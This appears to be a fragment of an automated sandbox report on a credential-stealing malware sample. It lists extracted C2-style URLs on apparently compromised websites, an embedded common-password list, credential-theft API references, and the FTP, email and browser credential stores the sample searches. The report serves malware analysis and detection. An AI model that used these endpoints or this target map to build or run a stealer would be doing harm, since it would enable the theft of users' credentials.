"00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "http://criminallawdc.com/wp-content/plugins/responsive-menu/v4.0.0/assets/js/rmp-menu.3x.0" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/wp-content/uploads/2019/01/favicon.z/crimg/201bglay:wghomegroupuser$le" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "http://criminallawdc.com/wp-content/themes/criminallawdc/img/search-min.png" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "https://crimin*em/es/" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/wp-content/uploads/2019/08/dclogo-1.pc" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "http://criminallawdc.com/wp-cmes/criminallawdc/img/header-phone.png" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "http://criminallawdc.com/wp-content/themes/criminallawdc/img/menu.png" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/profile/" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/dc-domestic-violence-lawyer/" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/dc-expungement-lawyer/" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/dc-federal-criminal-lawyer/" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/dc-federal-criminal-lawyer/financial-crimes/" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/dc-federal-criminal-lawyer/sex-crimes/" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/dc-white-collar-lawyer/" - Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp") Found URL "http://www.ibsensoftware.com/123456passwordphpbbqwerty12345jesus123456781234abc123letmeintestlovepassword1hellomonkeydragontrustno1111111iloveyou1234567shadow123456789christsunshinemastercomputerprincesstiggerfootballangeljesus1123123whateverfreedomkillerasdfsoccersupermanmichaelcheeseinternetjoshuafuckyoublessedbaseballstarwars000000purplejordanfaithsummerashleybusterheavenpepper7777777hunterlovelyandrewthomasangelscharliedaniel1111jennifersinglehannahqazwsxhappymatrixpassaaaaaa654321amandanothinggingermothersnoopyjessicawelcomepokemoniloveyou111111mustanghelpmejustinjasmineorangetestingapplemichellepeacesecretgracewilliamiloveyou2nicole666666muffingatewayfuckyou1assholehahahapoopblessingblahblahmyspace1matthewcanadasilverrobertforeverasdfghrachelrainbowguitarpeanutbatmancookiebaileysoccer1mickeybitemehello1eminemdakotasamanthacompaqdiamondtaylorforumjohn316richardblink182peachescoolflowerscooterbananajamesasdfasdfvictorylondon123qwe123321startrekgeorgewinnermaggietrinityonline123abcchickenjuniorchrispassw0rdaustinsparkyadminmerlingooglefriendshopeshalomnintendolookingharleysmokey7777josephluckydigitalthunderspiritbanditenteranthonycorvettehockeypowerbenjaminiloveyou!1q2w3evipergenesisknightqwerty1creativefoobaradidasrotimislayerwisdompraisezxcvbnmsamuelmikedallasgreentesttestmaverickonelovedavidmylovechurchfrienddestinynonemicrosoft222222bubbles11111111cocacolajordan23ilovegodfootball1lovingnathanemmanuelscoobyfuckoffsammymaxwelljasonjohn1q2w3e4rbabyred123blablaprinceqwertchelsea55555angel1hardcoredextersaved112233hallojasperdaniellekittencassiestellaprayerhotdogwindowsmustdiegatesbillgatesghbdtngfhjkm1234567890ui9bx1jjfvhhttp://criminallawdc.com/default.php?517mtykxba4pzuueq1ay6dgl2uejau8ynhhttp://1callalert.com/default.php?qa6ubcu6ajb8x9jqvotc3abfotu5c21aedb34http://semtly.com/default.php?8xrrepn5vwsvmvigkdkgqwcmvqzr6buhd9vdp1u9phttp://choiceonesupport.org/default.php?iqsvp4dhnvk82neqfum1nvju43hb8d6http://e3pos.com/default.php?sltkwd44edkecnmisztngyo3arr5mrg6rjivzfkw1vyuipwdfile0yuipkdfile0yuicrypted0yui1.0modusoftware\microsoft\windows\currentversion\uninstalluninstallstringdisplayname.exesoftware\winraropenkernel32.dllwtsgetactiveconsolesessionidprocessidtosessionidnetapi32.dllnetapibufferfreenetuserenumole32.dllstgopenstorageadvapi32.dllallocateandinitializesidchecktokenmembershipfreesidcredenumerateacredfreecryptgetuserkeycryptexportkeycryptdestroykeycryptreleasecontextreverttoselfopenprocesstokenimpersonateloggedonusergettokeninformationconvertsidtostringsidalogonuseralookupprivilegevalueaadjusttokenprivilegescrypt32.dllcryptunprotectdatacertopensystemstoreacertenumcertificatesinstorecertclosestorecryptacquirecertificateprivatekeymsi.dllmsigetcomponentpathapstorec.dllpstorecreateinstancef3vuu6@wuvu" - Source: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found URL "http://https://ftp://operawand.dat_software\opera" - Source: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found URL "ftp://http://https://ftp.fireftpsites.datseamonkey\mozilla\seamonkey\flock\flock\browser\mozilla\mozilla\profiles\software\leechftpappdirlocaldirbookmark.datsiteinfo.qfpodinfavorites.datwinftpsites.dbclsid\" - Source: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found URL "ftp://software\adobe\commonsiteserverssiteserver" - Source: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found URL "ftp://http://https://\google\chrome\chromium\chromeplussoftware\chromeplusinstall_dir\bromium\nichrome\comodo\rockmeltk-meleon\k-meleon\profilesepic\epic\epicstaff-ftpsites.ini\sites\visicom" - Source: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found URL "https://choiceonesuppofud5qadvapi" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://choiceonesupport.org/dfulmem" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/wp-json/>;" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://choiceonesupport.org/d)" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://choiceonesupport.org/default.php?iqsvp4dhnvk82neqfum1nvju43hb8d6x-seen-by:" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://oss.maxcdn.com/html5/html5shiv.min.js" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://oss.maxcdn.com/respond/1.4.2/r" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://www.googletagmanager.com/gtag/js?id=aw-1012693133" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "http://criminallawdc.com/wp-content/themes/cri/img/inner-bgnew.jpg);" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "http://criminallawdontent/themes/criminallawdc/img/default.jpg);" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "http://criminallawdc.com/wp-content/themes/criminallawdc/img/default-image.jpg)style>" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://crimcom/wp-content/uploads/2019/05/davidd.jpg')" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/wp-content/uploads/2019/05/davi" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/default.php?517mtykxba4pzuueq1ay6dgl2uejau8ynh=" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/default.php?517mtykxba4pzuueq1ay6dgl2uejau8yn$ng=" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/es/default.php" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://choiceonesupport.org/default.php?iqsvp4dhnvk82neqfum1nvju43hb8d6x-sethusqu" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://crg/dconnection:" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://choiceonesupport.org/default.p" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://choiceonesupport.org/default.php?iqsvp4dhnvk82neqfum1n" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://choiceonesupport.org/default.php?iqsvp4dhnvk82neqfum1nvju43hb8rptsustrmr8sstprsc" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "http://criminallawdc.com/wp-content/plugins/contactsalesforce/css/front.css?ver=db3d8f7c5c848d771409cdb4878a9342'" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "http://criminallawdc.com/wp-content/plugins/cleantalk-spam-protect/css/cleantalk-public.min.css?ver=6.46'" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "http://criminallawdc.com/wp-content/plugins-spam-protect/css/cleantalk-email-decoder.min.css?ver=6.46'" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://oss.maxcdn.com/respond/1.4.2/respond.min.js" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "http://criminallawdc.com/wp-content/themes/criminallawdc/img/inner-bgnew.jpg);" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "http://criminallawdc.com/wp-content/themes/criminallawdc/img/default.jpg);" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "http://criminallawdc.com/wp-content/themes/criminalackground_colour\" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "http://criminallawdc.com/wp-content/plugins/responsive-menu/v4.0.0/assets/js/rmp-menu.3x.0" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/wp-content/uploads/2019/01/favicon.z/crimg/201bglay:wghomegroupuser$le" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "http://criminallawdc.com/wp-content/themes/criminallawdc/img/search-min.png" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://crimin*em/es/" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/wp-content/uploads/2019/08/dclogo-1.pc" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "http://criminallawdc.com/wp-cmes/criminallawdc/img/header-phone.png" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "http://criminallawdc.com/wp-content/themes/criminallawdc/img/menu.png" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/profile/" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/dc-domestic-violence-lawyer/" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/dc-expungement-lawyer/" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/dc-federal-criminal-lawyer/" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/dc-federal-criminal-lawyer/financial-crimes/" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/dc-federal-criminal-lawyer/sex-crimes/" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found URL "https://criminallawdc.com/dc-white-collar-lawyer/" - Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp")39:Tc10,"bounty-54562402545397328.exe" called "FindFirstFileA" with parameter %PROGRAMFILES%\(x86)\Common Files\Ipswitch\WS_FTP\*.* (UID: 00000000-00002904) "bounty-54562402545397328.exe" called "FindFirstFileA" with parameter %APPDATA%\Ipswitch\*.* (UID: 00000000-00002904) "bounty-54562402545397328.exe" called "FindFirstFileA" with parameter %ALLUSERSPROFILE%\Ipswitch\*.* (UID: 00000000-00002904) "bounty-54562402545397328.exe" called "FindFirstFileA" with parameter %LOCALAPPDATA%\Ipswitch\*.* (UID: 00000000-00002904) "bounty-54562402545397328.exe" called "FindFirstFileA" with parameter %APPDATA%\GlobalSCAPE\CuteFTP\*.* (UID: 00000000-00002904) "bounty-54562402545397328.exe" called "FindFirstFileA" with parameter %APPDATA%\GlobalSCAPE\CuteFTP Pro\*.* (UID: 00000000-00002904) "bounty-54562402545397328.exe" called "FindFirstFileA" with parameter %APPDATA%\GlobalSCAPE\CuteFTP Lite\*.* (UID: 00000000-00002904) "bounty-54562402545397328.exe" called "FindFirstFileA" with parameter %APPDATA%\CuteFTP\*.* (UID: 00000000-00002904) "bounty-54562402545397328.exe" called "FindFirstFileA" with parameter %ALLUSERSPROFILE%\GlobalSCAPE\CuteFTP\*.* (UID: 00000000-00002904) "bounty-54562402545397328.exe" called "FindFirstFileA" with parameter %ALLUSERSPROFILE%\GlobalSCAPE\CuteFTP Pro\*.* (UID: 00000000-00002904) "bounty-54562402545397328.exe" called "FindFirstFileA" with parameter %ALLUSERSPROFILE%\GlobalSCAPE\CuteFTP Lite\*.* (UID: 00000000-00002904) "bounty-54562402545397328.exe" called "FindFirstFileA" with parameter %ALLUSERSPROFILE%\CuteFTP\*.* (UID: 00000000-00002904) "bounty-54562402545397328.exe" called "FindFirstFileA" with parameter %LOCALAPPDATA%\GlobalSCAPE\CuteFTP\*.* (UID: 00000000-00002904) "bounty-54562402545397328.exe" called "FindFirstFileA" with parameter %LOCALAPPDATA%\GlobalSCAPE\CuteFTP Pro\*.* (UID: 00000000-00002904) "bounty-54562402545397328.exe" called "FindFirstFileA" with parameter %LOCALAPPDATA%\GlobalSCAPE\CuteFTP Lite\*.* (UID: 00000000-00002904) "bounty-54562402545397328.exe" called "FindFirstFileA" with parameter %LOCALAPPDATA%\CuteFTP\*.* (UID: 00000000-00002904) "bounty-54562402545397328.exe" called "FindFirstFileA" with parameter %PROGRAMFILES%\(x86)\GlobalSCAPE\CuteFTP\*.* (UID: 00000000-00002904) "bounty-54562402545397328.exe" called "FindFirstFileA" with parameter %PROGRAMFILES%\(x86)\GlobalSCAPE\CuteFTP Pro\*.* (UID: 00000000-00002904) "bounty-54562402545397328.exe" called "FindFirstFileA" with parameter %PROGRAMFILES%\(x86)\GlobalSCAPE\CuteFTP Lite\*.* (UID: 00000000-00002904) "bounty-54562402545397328.exe" called "FindFirstFileA" with parameter %PROGRAMFILES%\(x86)\CuteFTP\*.* (UID: 00000000-00002904) "bounty-54562402545397328.exe" called "FindFirstFileA" with parameter %LOCALAPPDATA%\BulletProof Software\*.* (UID: 00000000-00002904) "bounty-54562402545397328.exe" called "FindFirstFileA" with parameter %APPDATA%\BulletProof Software\*.* (UID: 00000000-00002904) "bounty-54562402545397328.exe" called "FindFirstFileA" with parameter %ALLUSERSPROFILE%\BulletProof Software\*.* (UID: 00000000-00002904)3a:T45d,Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "12019036592,2524,3116,,FindNextFileA,kernel32.dll,"252:17:31.528",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00002904.00000001.124395.006D0000.00000004.mdmp, 00000000-00002904.00000002.126319.006D0000.00000004.mdmp") Found reference to API "13545413084587,2524,3114,,FindFirstFileA,kernel32.dll,"252:18:51.680",RX=0,PX=0" (Indicator: "FindFirstFile"; Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp")3b:T7bc,Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "RegOpenKeyA" (Indicator: "RegOpenKey"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "RegEnumKeyExA" (Indicator: "RegEnumKey"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "RegOpenCurrentUser" (Indicator: "RegOpenCurrentUser"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "RegEnumValueA" (Indicator: "RegEnumValue"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "RegOpenKeyA" (Indicator: "RegOpenKey"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "RegEnumKeyExA" (Indicator: "RegEnumKey"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "RegOpenCurrentUser" (Indicator: "RegOpenCurrentUser"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "RegEnumValueA" (Indicator: "RegEnumValue"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp")3c:T53c,Found reference to API "NetUserEnum" (Indicator: "NetUserEnum"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "NetUserEnum" (Indicator: "NetUserEnum"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp")3d:Tbef,Found string "password 51:b:" (Indicator: "password"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found string "password_value" (Indicator: "password"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found string "FTP destination password" (Indicator: "password"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found string ""password" : "" (Indicator: "password"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp"), Found string "inetcomm server passwords" (Indicator: "password"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp"), Found string "outlook account manager passwords" (Indicator: "password"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp"), Found string "password" (Indicator: "password"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp"), Found string "password1" (Indicator: "password"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp"), Found string "secret" (Indicator: "secret"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp"), Found string "password" (Indicator: "password"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp"), Found string "password1" (Indicator: "password"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp"), Found string "secret" (Indicator: "secret"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp"), Found string ""password" : "" (Indicator: "password"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found string "password_value" (Indicator: "password"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found string "password 51:b:" (Indicator: "password"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found string "FTP destination password" (Indicator: "password"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found string "inetcomm server passwords" (Indicator: "password"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found string "outlook account manager passwords" (Indicator: "password"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found string "CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR N" (Indicator: "password"; Source: "00000000-00002904.00000002.126319.006D0000.00000004.mdmp")3e:T645,"Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts" in Source: 10198-434-0040F330 "Software\RIT\The Bat!\Users depot" in Source: 10198-425-0040EB5C "Software\RIT\The Bat!\Users depot" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts" in Source: 00000000-00002904.00000000.122470.00400000.00000040.mdmp 00000000-00002904.00000002.126319.00400000.00000040.mdmp "oftware\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003" in Source: 00000000-00002904.00000002.126319.006D0000.00000004.mdmp "oftware\Microsoft\Office\Outlook\OMI Account Manager" in Source: 00000000-00002904.00000002.126319.006D0000.00000004.mdmp "oftware\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\fdb6ce401b328a4ca831da6287bea4fc" in Source: 00000000-00002904.00000002.126319.006D0000.00000004.mdmp "ftware\Microsoft\Office\Outlook\OMI Account Manager\Accounts" in Source: 00000000-00002904.00000002.126319.006D0000.00000004.mdmp "\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003" in Source: 00000000-00002904.00000002.126319.006D0000.00000004.mdmp "\Users\HAPUBWS\AppData\Roaming\The Bat!\*.*" in Source: 00000000-00002904.00000002.126319.006D0000.00000004.mdmp "ftware\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\fdb6ce401b328a4ca831da6287bea4fc" in Source: 00000000-00002904.00000002.126319.006D0000.00000004.mdmp3f:T5fd,"Software\NCH Software\ClassicFTP\FTPAccounts" (Indicator: "software\nch software\classicftp\ftpaccounts") "\win.ini" (Indicator: "\win.ini") "WS_FTP" (Indicator: "ws_ftp") "\Ipswitch\WS_FTP" (Indicator: "\ipswitch\ws_ftp") "\Ipswitch\WS_FTP" (Indicator: "ws_ftp") "\Global Downloader" (Indicator: "\global downloader") "SM.arch" (Indicator: "sm.arch") "Software\MAS-Soft\FTPInfo\Setup" (Indicator: "ftpinfo") "Software\MAS-Soft\FTPInfo\Setup" (Indicator: "software\mas-soft\ftpinfo\setup") "\FTPInfo" (Indicator: "ftpinfo") "site.dat" (Indicator: "site.dat") "wiseftpsrvs.bin" (Indicator: "wiseftpsrvs.bin") "Software\ExpanDrive\Sessions" (Indicator: "software\expandrive") "Software\ExpanDrive\Sessions" (Indicator: "software\expandrive\sessions") "ExpanDrive_Home" (Indicator: "expandrive_home") "Software\ExpanDrive" (Indicator: "software\expandrive") "Software\Ghisler\Windows Commander" (Indicator: "software\ghisler\windows commander") "Software\Ghisler\Total Commander" (Indicator: "software\ghisler\total commander") "\Quick.dat" (Indicator: "quick.dat") "Software\VanDyke\SecureFX" (Indicator: "software\vandyke\securefx") "ESTdb2.dat" (Indicator: "estdb2.dat") "\Estsoft\ALFTP" (Indicator: "\estsoft\alftp") "QData.dat" (Indicator: "qdata.dat") "\SmartFTP" (Indicator: "\smartftp") "GoFTP" (Indicator: "goftp") "Connections.txt" (Indicator: "connections.txt") "Software\TurboFTP" (Indicator: "\turboftp") "Software\TurboFTP" (Indicator: "software\turboftp") "\TurboFTP" (Indicator: "\turboftp")40:T85a,Found reference to API "SeImpersonatePrivilege" (Indicator: "SeImpersonatePrivilege"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "SeImpersonatePrivilege" (Indicator: "SeImpersonate"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "SeBackupPrivilege" (Indicator: "SeBackupPrivilege"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "SeImpersonatePrivilege" (Indicator: "SeImpersonatePrivilege"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "SeImpersonatePrivilege" (Indicator: "SeImpersonate"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "SeBackupPrivilege" (Indicator: "SeBackupPrivilege"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp")41:T820,Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "RevertToSelf" (Indicator: "RevertToSelf"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "ImpersonateLoggedOnUser" (Indicator: "ImpersonateLoggedOnUser"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "RevertToSelf" (Indicator: "RevertToSelf"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "ImpersonateLoggedOnUser" (Indicator: "ImpersonateLoggedOnUser"; Source: "00000000-00002904.00000000.122470.00400000.00000040.mdmp, 00000000-00002904.00000002.126319.00400000.00000040.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: 